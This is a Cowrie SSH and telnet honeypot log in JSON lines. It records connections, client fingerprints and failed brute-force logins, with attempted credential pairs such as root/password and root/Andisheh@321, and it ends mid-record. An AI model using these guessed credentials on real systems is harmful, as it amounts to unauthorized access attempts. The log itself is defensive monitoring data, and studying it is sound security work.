{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:11.933819Z","src_ip":"45.153.34.114","session":"c7558d7ca547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:12.202573Z","src_ip":"45.153.34.114","session":"c7558d7ca547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:13.293487Z","src_ip":"45.153.34.114","session":"c7558d7ca547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":16369,"dst_ip":"10.17.0.5","dst_port":22,"session":"29ce758f12d6","protocol":"ssh","message":"New connection: 175.107.32.186:16369 (10.17.0.5:22) [session: 29ce758f12d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:17.559568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:17.562740Z","src_ip":"175.107.32.186","session":"29ce758f12d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:17.782444Z","src_ip":"175.107.32.186","session":"29ce758f12d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Andisheh@321","message":"login attempt [root/Andisheh@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:18.694494Z","src_ip":"175.107.32.186","session":"29ce758f12d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:19.918004Z","src_ip":"175.107.32.186","session":"29ce758f12d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55968,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c0801543b32","protocol":"ssh","message":"New connection: 45.153.34.114:55968 (159.203.135.109:22) [session: 1c0801543b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:19.944508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:19.948995Z","src_ip":"45.153.34.114","session":"1c0801543b32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:20.042476Z","src_ip":"45.153.34.114","session":"1c0801543b32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:20.315372Z","src_ip":"45.153.34.114","session":"1c0801543b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:21.411181Z","src_ip":"45.153.34.114","session":"1c0801543b32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":35742,"dst_ip":"159.203.135.109","dst_port":22,"session":"36d99a2f7842","protocol":"ssh","message":"New connection: 185.153.231.45:35742 (159.203.135.109:22) [session: 36d99a2f7842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:21.864543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:21.869150Z","src_ip":"185.153.231.45","session":"36d99a2f7842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:21.997221Z","src_ip":"185.153.231.45","session":"36d99a2f7842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test1234","message":"login attempt [testuser/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:22.535599Z","src_ip":"185.153.231.45","session":"36d99a2f7842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:23.665754Z","src_ip":"185.153.231.45","session":"36d99a2f7842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44640,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed3447798dec","protocol":"telnet","message":"New connection: 74.91.213.120:44640 (159.203.135.109:23) [session: ed3447798dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:26.571856Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55978,"dst_ip":"159.203.135.109","dst_port":22,"session":"5967e4a3b76b","protocol":"ssh","message":"New connection: 45.153.34.114:55978 (159.203.135.109:22) [session: 5967e4a3b76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:27.579518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:27.583090Z","src_ip":"45.153.34.114","session":"5967e4a3b76b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:27.669465Z","src_ip":"45.153.34.114","session":"5967e4a3b76b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:28.060030Z","src_ip":"45.153.34.114","session":"5967e4a3b76b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":54192,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef13526cdea0","protocol":"ssh","message":"New connection: 92.191.96.70:54192 (10.17.0.5:22) [session: ef13526cdea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:28.292593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:28.296656Z","src_ip":"92.191.96.70","session":"ef13526cdea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:28.420552Z","src_ip":"92.191.96.70","session":"ef13526cdea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"extrim","message":"login attempt [root/extrim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:28.951884Z","src_ip":"92.191.96.70","session":"ef13526cdea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:29.156413Z","src_ip":"45.153.34.114","session":"5967e4a3b76b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":60214,"dst_ip":"10.17.0.5","dst_port":22,"session":"c245c6cf9101","protocol":"ssh","message":"New connection: 159.195.79.219:60214 (10.17.0.5:22) [session: c245c6cf9101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:30.048601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:30.054916Z","src_ip":"159.195.79.219","session":"c245c6cf9101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:30.078275Z","src_ip":"92.191.96.70","session":"ef13526cdea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:30.150058Z","src_ip":"159.195.79.219","session":"c245c6cf9101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010","message":"login attempt [root/101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:30.549282Z","src_ip":"159.195.79.219","session":"c245c6cf9101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:31.654675Z","src_ip":"159.195.79.219","session":"c245c6cf9101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45788,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a2bee2ef9af","protocol":"ssh","message":"New connection: 45.153.34.114:45788 (159.203.135.109:22) [session: 2a2bee2ef9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:35.976870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:35.981432Z","src_ip":"45.153.34.114","session":"2a2bee2ef9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:36.065640Z","src_ip":"45.153.34.114","session":"2a2bee2ef9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:36.327664Z","src_ip":"45.153.34.114","session":"2a2bee2ef9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:37.415407Z","src_ip":"45.153.34.114","session":"2a2bee2ef9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.14962124824524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:39.180716Z","src_ip":"74.91.213.120","session":"e45711d2043a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":46586,"dst_ip":"10.17.0.5","dst_port":22,"session":"04e2064a1878","protocol":"ssh","message":"New connection: 89.38.96.216:46586 (10.17.0.5:22) [session: 04e2064a1878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:39.448275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:39.456918Z","src_ip":"89.38.96.216","session":"04e2064a1878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa